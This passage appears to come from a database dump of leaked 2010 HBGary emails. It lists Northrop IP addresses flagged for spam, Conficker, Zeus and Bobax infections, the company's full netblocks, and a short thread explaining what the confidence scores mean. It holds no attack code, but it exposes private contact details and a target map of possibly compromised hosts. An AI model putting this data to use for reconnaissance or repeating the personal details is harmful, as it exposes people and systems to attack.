22:59:00 2009 GMT\r\n>\r\n> IP : 157.127.195.127\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Feb  9 05:59:00 2009 GMT\r\n>\r\n> IP : 157.127.203.218\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Feb  9 11:59:00 2009 GMT\r\n>\r\n> IP : 157.127.229.95\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar 16 04:59:00 2009 GMT\r\n>\r\n> IP : 134.223.35.149\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Feb 11 13:59:00 2009 GMT\r\n>\r\n> IP : 134.223.46.22\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sat Feb 21 12:59:00 2009 GMT\r\n>\r\n> IP : 134.223.46.123\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Mar 13 22:59:00 2009 GMT\r\n>\r\n> IP : 134.223.74.16\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Mar 20 14:59:00 2009 GMT\r\n>\r\n> IP : 134.223.82.192\r\n> Confidence : 24.031133%\r\n> Events :\r\n> 	Spam : Mon Jan 18 16:59:00 2010 GMT\r\n>\r\n> IP : 134.223.99.187\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar 16 17:59:00 2009 GMT\r\n>\r\n> IP : 134.223.114.177\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Feb 25 18:59:00 2009 GMT\r\n>\r\n> IP : 134.223.150.38\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sat Mar 14 06:59:00 2009 GMT\r\n>\r\n> IP : 134.223.157.87\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Thu Mar 12 00:59:00 2009 GMT\r\n>\r\n> IP : 134.223.168.212\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar 23 06:59:00 2009 GMT\r\n>\r\n> IP : 134.223.188.179\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n>\r\n> IP : 134.223.204.114\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar  8 07:59:00 2009 GMT\r\n>\r\n> IP : 134.223.210.166\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Tue Feb 24 03:59:00 2009 GMT\r\n>\r\n> IP : 134.223.214.47\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar  1 01:59:00 2009 GMT\r\n>\r\n> IP : 155.104.37.18\r\n> Confidence : 10%\r\n> Events :\r\n> 	Bobax : Wed Jul 22 18:59:00 2009 GMT\r\n>\r\n> IP : 155.104.108.227\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Feb 25 13:59:00 2009 GMT\r\n>\r\n> IP : 155.104.117.79\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sat Mar 14 22:59:00 2009 GMT\r\n>\r\n> IP : 155.104.143.204\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Feb  9 00:59:00 2009 GMT\r\n>\r\n> IP : 155.104.149.236\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Mar 20 08:59:00 2009 GMT\r\n>\r\n> IP : 155.104.169.216\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar 15 10:59:00 2009 GMT\r\n>\r\n> IP : 155.104.186.69\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Mar  6 00:59:00 2009 GMT\r\n>\r\n> IP : 155.104.195.120\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Tue Mar 10 02:59:00 2009 GMT\r\n>\r\n> IP : 155.104.253.160\r\n> Confidence : 10%\r\n> Events :\r\n> 	Conficker C : Mon Nov 23 18:31:05 2009 GMT\r\n> 	Conficker A/B : Wed Apr  1 13:45:22 2009 GMT\r\n>\r\n> IP : 134.77.62.31\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar 16 04:59:00 2009 GMT\r\n>\r\n> IP : 134.77.154.194\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar  8 17:59:00 2009 GMT\r\n>\r\n> IP : 134.77.199.29\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar 15 23:59:00 2009 GMT\r\n>\r\n> IP : 134.77.203.242\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Thu Feb 26 00:59:00 2009 GMT\r\n>\r\n> IP : 134.77.214.197\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Tue Feb 10 07:59:00 2009 GMT\r\n>\r\n> IP : 134.77.254.98\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Jan 14 06:59:00 2009 GMT\r\n>\r\n> IP : 132.228.4.253\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Mar 11 09:59:00 2009 GMT\r\n>\r\n> IP : 132.228.28.219\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Jan 11 18:59:00 2009 GMT\r\n>\r\n> IP : 132.228.40.120\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Mar 11 07:59:00 2009 GMT\r\n>\r\n> IP : 132.228.47.162\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Tue Mar 17 21:59:00 2009 GMT\r\n>\r\n> IP : 132.228.61.127\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar 22 12:59:00 2009 GMT\r\n>\r\n> IP : 132.228.85.231\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Jan 26 08:59:00 2009 GMT\r\n>\r\n> IP : 132.228.97.130\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Mar 18 21:59:00 2009 GMT\r\n>\r\n> IP : 132.228.99.229\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Thu Mar  5 11:59:00 2009 GMT\r\n>\r\n> IP : 132.228.100.98\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Mar  4 23:59:00 2009 GMT\r\n>\r\n> IP : 132.228.111.117\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Tue Mar 10 18:59:00 2009 GMT\r\n>\r\n> IP : 132.228.115.77\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Jan 19 05:59:00 2009 GMT\r\n>\r\n> IP : 132.228.156.248\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar  9 11:59:00 2009 GMT\r\n>\r\n> IP : 132.228.157.141\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sat Mar 21 18:59:00 2009 GMT\r\n>\r\n> IP : 132.228.167.144\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Mar 11 02:59:00 2009 GMT\r\n>\r\n> IP : 132.228.178.113\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Feb 16 07:59:00 2009 GMT\r\n>\r\n> IP : 132.228.181.94\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Tue Mar 24 00:59:00 2009 GMT\r\n>\r\n> IP : 132.228.198.188\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Thu Mar 12 22:59:00 2009 GMT\r\n>\r\n> IP : 132.228.221.184\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Jan  7 00:59:00 2009 GMT\r\n>\r\n> IP : 132.228.235.100\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Feb  8 23:59:00 2009 GMT\r\n>\r\n> IP : 158.114.46.236\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Feb 13 18:59:00 2009 GMT\r\n>\r\n> IP : 158.114.60.87\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sat Jan 31 13:59:00 2009 GMT\r\n>\r\n> IP : 158.114.65.49\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Jan 16 20:59:00 2009 GMT\r\n>\r\n> 198.17.147.0;198.17.147.255\r\n> 198.202.184.0;198.202.184.255\r\n> 192.135.212.0;192.135.212.255\r\n> 199.165.146.0;199.165.148.255\r\n> 198.180.218.0;198.180.218.255\r\n> 198.49.249.0;198.49.249.255\r\n> 192.135.211.0;192.135.211.255\r\n> 216.54.39.240;216.54.39.247\r\n> 216.54.92.104;216.54.92.111\r\n> 65.117.102.96;65.117.102.127\r\n> 65.112.186.160;65.112.186.175\r\n> 12.186.184.192;12.186.184.255\r\n> 12.182.30.224;12.182.30.255\r\n> 12.144.89.240;12.144.89.247\r\n> 12.48.17.0;12.48.17.63\r\n> 12.44.8.160;12.44.8.191\r\n> 12.54.59.240;12.54.59.247\r\n> 12.222.32.72;12.222.32.79\r\n> 192.150.240.0;192.150.240.255\r\n> 157.127.0.0;157.127.255.255\r\n> 192.153.43.0;192.153.43.255\r\n> 134.223.0.0;134.223.255.255\r\n> 155.104.0.0;155.104.255.255\r\n> 134.77.0.0;134.77.255.255\r\n> 132.228.0.0;132.228.255.255\r\n> 192.35.84.0;192.35.84.255\r\n> 158.114.0.0;158.114.255.255\r\n> 192.112.145.0;192.112.145.255\r\n> 137.51.0.0;137.51.255.255\r\n> 192.150.201.0;192.150.201.255\r\n> 63.174.11.128;63.174.11.255\r\n> 12.165.111.160;12.165.111.191\r\n> 12.154.90.0;12.154.90.255\r\n> 12.41.67.0;12.41.67.255\r\n> 12.187.24.192;12.187.24.223\r\n> 12.172.51.64;12.172.51.127\r\n> 12.44.11.184;12.44.11.191\r\n> 12.53.63.128;12.53.63.255\r\n> 12.144.223.112;12.144.223.127\r\n> 12.71.30.128;12.71.30.135\r\n> 12.204.106.112;12.204.106.119\r\n> 12.182.16.184;12.182.16.191\r\n> 12.69.72.24;12.69.72.31\r\n> 192.12.44.0;192.12.44.255\r\n> 128.99.0.0;128.99.255.255\r\n> 65.163.5.128;65.163.5.191\r\n> 206.229.114.64;206.229.114.127\r\n> 208.21.174.160;208.21.174.191\r\n> 65.162.155.24;65.162.155.31\r\n> 208.7.1.248;208.7.1.255\r\n> 65.163.34.48;65.163.34.55\r\n> 205.162.11.64;205.162.11.127\r\n> 205.244.158.104;205.244.158.111\r\n> 205.246.137.192;205.246.137.199\r\n> 206.228.172.96;206.228.172.103\r\n> 206.229.97.192;206.229.97.223\r\n> 208.19.16.160;208.19.16.191\r\n> 208.19.79.96;208.19.79.127\r\n> 208.20.149.232;208.20.149.239\r\n> 206.229.9.112;206.229.9.119\r\n> 208.2.203.64;208.2.203.71\r\n> 208.12.120.0;208.12.120.255\r\n> 208.12.121.0;208.12.121.255\r\n> 208.12.122.0;208.12.122.255\r\n> 204.97.84.72;204.97.84.79\r\n> 206.228.170.112;206.228.170.119\r\n> 63.175.65.0;63.175.65.31\r\n> 65.160.161.32;65.160.161.39\r\n> 65.161.169.208;65.161.169.215\r\n> 65.165.199.192;65.165.199.255\r\n> 65.168.235.0;65.168.235.255\r\n> 65.169.82.24;65.169.82.31\r\n> 204.118.7.96;204.118.7.127\r\n> 198.70.200.8;198.70.200.15\r\n> 204.118.7.128;204.118.7.255\r\n> 208.2.72.0;208.2.73.255\r\n> 208.4.26.32;208.4.26.63\r\n> 208.7.9.48;208.7.9.55\r\n> 208.8.12.112;208.8.12.119\r\n> 208.20.220.0;208.20.220.255\r\n> 208.23.198.16;208.23.198.23\r\n> 64.132.233.128;64.132.233.143\r\n> 216.74.147.168;216.74.147.175\r\n> 165.193.120.8;165.193.120.15\r\n> 12.52.81.240;12.52.81.247\r\n> 64.172.8.48;64.172.8.55\r\n> 68.89.81.208;68.89.81.215\r\n> 66.140.248.160;66.140.248.191\r\n> 66.138.220.168;66.138.220.175\r\n> 64.169.174.224;64.169.174.231\r\n> 67.113.106.56;67.113.106.63\r\n> 209.76.9.72;209.76.9.79\r\n> 208.239.171.168;208.239.171.175\r\n> 67.125.218.152;67.125.218.159\r\n> 65.66.7.56;65.66.7.63\r\n> 64.165.39.0;64.165.39.7\r\n> 67.121.9.152;67.121.9.159\r\n> 66.137.162.160;66.137.162.191\r\n> 68.163.82.80;68.163.82.95\r\n> 65.51.235.128;65.51.235.135\r\n> 208.251.123.192;208.251.123.199\r\n> 71.134.82.0;71.134.82.127\r\n> 65.197.250.240;65.197.250.247\r\n> 65.215.44.24;65.215.44.31\r\n> 70.106.7.96;70.106.7.127\r\n> 64.83.35.160;64.83.35.167\r\n> 69.27.88.192;69.27.88.199\r\n> 24.38.23.120;24.38.23.127\r\n> 216.180.63.0;216.180.63.15\r\n> 66.20.216.40;66.20.216.47\r\n> 64.165.24.216;64.165.24.223\r\n> 65.71.186.200;65.71.186.207\r\n> 64.170.94.64;64.170.94.71\r\n> 63.203.2.232;63.203.2.239\r\n> 63.204.213.200;63.204.213.207\r\n> 68.121.176.232;68.121.176.239\r\n> 66.126.161.216;66.126.161.223\r\n> 64.163.147.136;64.163.147.143\r\n> 68.121.178.128;68.121.178.135\r\n> 64.168.19.16;64.168.19.23\r\n> 68.123.245.104;68.123.245.111\r\n> 67.112.183.48;67.112.183.55\r\n> 65.242.59.120;65.242.59.127\r\n> 69.110.86.248;69.110.86.255\r\n> 63.206.114.184;63.206.114.191\r\n> 63.202.191.32;63.202.191.39\r\n> 63.203.33.88;63.203.33.95\r\n> 69.232.11.144;69.232.11.159\r\n> 71.134.16.96;71.134.16.103\r\n> 71.138.233.96;71.138.233.127\r\n> 71.140.96.200;71.140.96.207\r\n> 75.5.171.248;75.5.171.255\r\n> 75.9.138.144;75.9.138.151\r\n> 99.178.89.88;99.178.89.95\r\n> 99.178.89.96;99.178.89.103\r\n> 99.183.154.168;99.183.154.175\r\n> 99.187.102.112;99.187.102.119\r\n> 69.108.130.72;69.108.130.79\r\n> 63.194.2.168;63.194.2.175\r\n> 155.212.219.192;155.212.219.255\r\n> 65.246.82.160;65.246.82.175\r\n> 204.15.19.216;204.15.19.223\r\n> 208.255.145.224;208.255.145.231\r\n> 65.210.81.168;65.210.81.175\r\n> 67.192.98.136;67.192.98.143\r\n> 98.129.175.24;98.129.175.31\r\n> 65.242.89.128;65.242.89.135\r\n> 67.123.171.144;67.123.171.151\r\n> 71.131.118.224;71.131.118.231\r\n> 65.71.179.248;65.71.179.255\r\n> 70.137.78.24;70.137.78.31\r\n> 76.229.68.240;76.229.68.247\r\n> 69.37.71.88;69.37.71.95\r\n> 70.248.205.0;70.248.205.7\r\n> 71.128.76.56;71.128.76.63\r\n> 71.128.180.176;71.128.180.183\r\n> 71.133.15.88;71.133.15.95\r\n> 71.140.131.80;71.140.131.87\r\n> 70.132.154.112;70.132.154.119\r\n> 71.158.76.48;71.158.76.63\r\n> 76.195.149.232;76.195.149.239\r\n> 76.202.202.208;76.202.202.223\r\n> 99.181.230.184;99.181.230.191\r\n> 99.181.230.192;99.181.230.199\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n',12003,'aaron_hbgary_com/12003.html'),(7065,'2010-06-04','\"Leary, Mark F (IS)\" <mark.leary@ngc.com>','/aaron@hbgary.com/new/1297005140.M723141P14101Q1920.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>,\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: IP Query Results','thx\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 2:05 PM\r\nTo: Winterfeld, Steven P (TASC)\r\nCc: Ted Vera; Leary, Mark F (IS)\r\nSubject: EXTERNAL:Re: IP Query Results\r\n\r\nWe used our data feed from end games.  The confidence is a weighted\r\nvalue mostly based on time decay.  When I get back to my desk I can\r\nprovide the other factors that go into the weighting.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 4, 2010, at 11:39 AM, \"Winterfeld, Steven P (TASC)\"\r\n wrote:\r\n\r\n> Ted\r\n>\r\n> See Mark\'s question.  Also what is the name of the tool you used?\r\n>\r\n> Steve\r\n>\r\n> -----Original Message-----\r\n> From: Leary, Mark F (IS)\r\n> Sent: Friday, June 04, 2010 11:37 AM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: RE: IP Query Results\r\n>\r\n> What\'s \"confidence\" mean? And the weighting %?\r\n>\r\n> -----Original Message-----\r\n> From: Winterfeld, Steven P (TASC)\r\n> Sent: Friday, June 04, 2010 1:35 PM\r\n> To: Leary, Mark F (IS)\r\n> Subject: FW: IP Query Results\r\n>\r\n> FYI\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Friday, June 04, 2010 8:49 AM\r\n> To: Barr Aaron; Winterfeld, Steven P (TASC); Lirette, Dave (TASC)\r\n> Subject: IP Query Results\r\n>\r\n> Steve / Dave\r\n>\r\n> Below are the results from our brief demo yesterday.  Listed first are\r\n> the Northrop IP addresses that have been linked to botnet activities,\r\n> followed by a complete listing of the Northrop netblocks (per ARIN\r\n> records) we queried against the EndGame database:\r\n>\r\n> IP : 12.48.17.62\r\n> Confidence : 10%\r\n> Events :\r\n> 	Conficker A/B : Fri Aug 14 12:44:47 2009 GMT\r\n> 	Spam : Wed Mar 25 07:59:00 2009 GMT\r\n>\r\n> IP : 157.127.26.187\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Thu Feb 26 16:59:00 2009 GMT\r\n>\r\n> IP : 157.127.30.93\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n>\r\n> IP : 157.127.62.193\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Feb 27 01:59:00 2009 GMT\r\n>\r\n> IP : 157.127.63.67\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar  2 04:59:00 2009 GMT\r\n>\r\n> IP : 157.127.69.88\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Feb 27 04:59:00 2009 GMT\r\n>\r\n> IP : 157.127.84.210\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Jan  2 11:59:00 2009 GMT\r\n>\r\n> IP : 157.127.84.236\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Mar 18 20:59:00 2009 GMT\r\n>\r\n> IP : 157.127.101.187\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Thu Mar  5 22:59:00 2009 GMT\r\n>\r\n> IP : 157.127.101.198\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Mar 13 09:59:00 2009 GMT\r\n>\r\n> IP : 157.127.114.172\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Feb 25 16:59:00 2009 GMT\r\n>\r\n> IP : 157.127.134.108\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar  8 10:59:00 2009 GMT\r\n>\r\n> IP : 157.127.150.183\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar  8 11:59:00 2009 GMT\r\n>\r\n> IP : 157.127.155.214\r\n> Confidence : 35.152796%\r\n> Events :\r\n> 	Zeus : Tue Mar  2 00:38:26 2010 GMT\r\n>\r\n> IP : 157.127.172.248\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar  9 14:59:00 2009 GMT\r\n>\r\n> IP : 157.127.195.108\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar 15 22:59:00 2009 GMT\r\n>\r\n> IP : 157.127.195.127\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Feb  9 05:59:00 2009 GMT\r\n>\r\n> IP : 157.127.203.218\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Feb  9 11:59:00 2009 GMT\r\n>\r\n> IP : 157.127.229.95\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar 16 04:59:00 2009 GMT\r\n>\r\n> IP : 134.223.35.149\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Feb 11 13:59:00 2009 GMT\r\n>\r\n> IP : 134.223.46.22\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sat Feb 21 12:59:00 2009 GMT\r\n>\r\n> IP : 134.223.46.123\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Mar 13 22:59:00 2009 GMT\r\n>\r\n> IP : 134.223.74.16\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Mar 20 14:59:00 2009 GMT\r\n>\r\n> IP : 134.223.82.192\r\n> Confidence : 24.031133%\r\n> Events :\r\n> 	Spam : Mon Jan 18 16:59:00 2010 GMT\r\n>\r\n> IP : 134.223.99.187\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar 16 17:59:00 2009 GMT\r\n>\r\n> IP : 134.223.114.177\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Feb 25 18:59:00 2009 GMT\r\n>\r\n> IP : 134.223.150.38\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sat Mar 14 06:59:00 2009 GMT\r\n>\r\n> IP : 134.223.157.87\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Thu Mar 12 00:59:00 2009 GMT\r\n>\r\n> IP : 134.223.168.212\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar 23 06:59:00 2009 GMT\r\n>\r\n> IP : 134.223.188.179\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n>\r\n> IP : 134.223.204.114\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar  8 07:59:00 2009 GMT\r\n>\r\n> IP : 134.223.210.166\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Tue Feb 24 03:59:00 2009 GMT\r\n>\r\n> IP : 134.223.214.47\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar  1 01:59:00 2009 GMT\r\n>\r\n> IP : 155.104.37.18\r\n> Confidence : 10%\r\n> Events :\r\n> 	Bobax : Wed Jul 22 18:59:00 2009 GMT\r\n>\r\n> IP : 155.104.108.227\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Feb 25 13:59:00 2009 GMT\r\n>\r\n> IP : 155.104.117.79\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sat Mar 14 22:59:00 2009 GMT\r\n>\r\n> IP : 155.104.143.204\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Feb  9 00:59:00 2009 GMT\r\n>\r\n> IP : 155.104.149.236\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Mar 20 08:59:00 2009 GMT\r\n>\r\n> IP : 155.104.169.216\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar 15 10:59:00 2009 GMT\r\n>\r\n> IP : 155.104.186.69\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Mar  6 00:59:00 2009 GMT\r\n>\r\n> IP : 155.104.195.120\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Tue Mar 10 02:59:00 2009 GMT\r\n>\r\n> IP : 155.104.253.160\r\n> Confidence : 10%\r\n> Events :\r\n> 	Conficker C : Mon Nov 23 18:31:05 2009 GMT\r\n> 	Conficker A/B : Wed Apr  1 13:45:22 2009 GMT\r\n>\r\n> IP : 134.77.62.31\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar 16 04:59:00 2009 GMT\r\n>\r\n> IP : 134.77.154.194\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar  8 17:59:00 2009 GMT\r\n>\r\n> IP : 134.77.199.29\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar 15 23:59:00 2009 GMT\r\n>\r\n> IP : 134.77.203.242\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Thu Feb 26 00:59:00 2009 GMT\r\n>\r\n> IP : 134.77.214.197\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Tue Feb 10 07:59:00 2009 GMT\r\n>\r\n> IP : 134.77.254.98\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Jan 14 06:59:00 2009 GMT\r\n>\r\n> IP : 132.228.4.253\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Mar 11 09:59:00 2009 GMT\r\n>\r\n> IP : 132.228.28.219\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Jan 11 18:59:00 2009 GMT\r\n>\r\n> IP : 132.228.40.120\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Mar 11 07:59:00 2009 GMT\r\n>\r\n> IP : 132.228.47.162\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Tue Mar 17 21:59:00 2009 GMT\r\n>\r\n> IP : 132.228.61.127\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar 22 12:59:00 2009 GMT\r\n>\r\n> IP : 132.228.85.231\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Jan 26 08:59:00 2009 GMT\r\n>\r\n> IP : 132.228.97.130\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Mar 18 21:59:00 2009 GMT\r\n>\r\n> IP : 132.228.99.229\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Thu Mar  5 11:59:00 2009 GMT\r\n>\r\n> IP : 132.228.100.98\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Mar  4 23:59:00 2009 GMT\r\n>\r\n> IP : 132.228.111.117\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Tue Mar 10 18:59:00 2009 GMT\r\n>\r\n> IP : 132.228.115.77\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Jan 19 05:59:00 2009 GMT\r\n>\r\n> IP : 132.228.156.248\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar  9 11:59:00 2009 GMT\r\n>\r\n> IP : 132.228.157.141\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sat Mar 21 18:59:00 2009 GMT\r\n>\r\n> IP : 132.228.167.144\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Mar 11 02:59:00 2009 GMT\r\n>\r\n> IP : 132.228.178.113\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Feb 16 07:59:00 2009 GMT\r\n>\r\n> IP : 132.228.181.94\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Tue Mar 24 00:59:00 2009 GMT\r\n>\r\n> IP : 132.228.198.188\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Thu Mar 12 22:59:00 2009 GMT\r\n>\r\n> IP : 132.228.221.184\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Jan  7 00:59:00 2009 GMT\r\n>\r\n> IP : 132.228.235.100\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Feb  8 23:59:00 2009 GMT\r\n>\r\n> IP : 158.114.46.236\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Feb 13 18:59:00 2009 GMT\r\n>\r\n> IP : 158.114.60.87\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sat Jan 31 13:59:00 2009 GMT\r\n>\r\n> IP : 158.114.65.49\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Jan 16 20:59:00 2009 GMT\r\n>\r\n> 198.17.147.0;198.17.147.255\r\n> 198.202.184.0;198.202.184.255\r\n> 192.135.212.0;192.135.212.255\r\n> 199.165.146.0;199.165.148.255\r\n> 198.180.218.0;198.180.218.255\r\n> 198.49.249.0;198.49.249.255\r\n> 192.135.211.0;192.135.211.255\r\n> 216.54.39.240;216.54.39.247\r\n> 216.54.92.104;216.54.92.111\r\n> 65.117.102.96;65.117.102.127\r\n> 65.112.186.160;65.112.186.175\r\n> 12.186.184.192;12.186.184.255\r\n> 12.182.30.224;12.182.30.255\r\n> 12.144.89.240;12.144.89.247\r\n> 12.48.17.0;12.48.17.63\r\n> 12.44.8.160;12.44.8.191\r\n> 12.54.59.240;12.54.59.247\r\n> 12.222.32.72;12.222.32.79\r\n> 192.150.240.0;192.150.240.255\r\n> 157.127.0.0;157.127.255.255\r\n> 192.153.43.0;192.153.43.255\r\n> 134.223.0.0;134.223.255.255\r\n> 155.104.0.0;155.104.255.255\r\n> 134.77.0.0;134.77.255.255\r\n> 132.228.0.0;132.228.255.255\r\n> 192.35.84.0;192.35.84.255\r\n> 158.114.0.0;158.114.255.255\r\n> 192.112.145.0;192.112.145.255\r\n> 137.51.0.0;137.51.255.255\r\n> 192.150.201.0;192.150.201.255\r\n> 63.174.11.128;63.174.11.255\r\n> 12.165.111.160;12.165.111.191\r\n> 12.154.90.0;12.154.90.255\r\n> 12.41.67.0;12.41.67.255\r\n> 12.187.24.192;12.187.24.223\r\n> 12.172.51.64;12.172.51.127\r\n> 12.44.11.184;12.44.11.191\r\n> 12.53.63.128;12.53.63.255\r\n> 12.144.223.112;12.144.223.127\r\n> 12.71.30.128;12.71.30.135\r\n> 12.204.106.112;12.204.106.119\r\n> 12.182.16.184;12.182.16.191\r\n> 12.69.72.24;12.69.72.31\r\n> 192.12.44.0;192.12.44.255\r\n> 128.99.0.0;128.99.255.255\r\n> 65.163.5.128;65.163.5.191\r\n> 206.229.114.64;206.229.114.127\r\n> 208.21.174.160;208.21.174.191\r\n> 65.162.155.24;65.162.155.31\r\n> 208.7.1.248;208.7.1.255\r\n> 65.163.34.48;65.163.34.55\r\n> 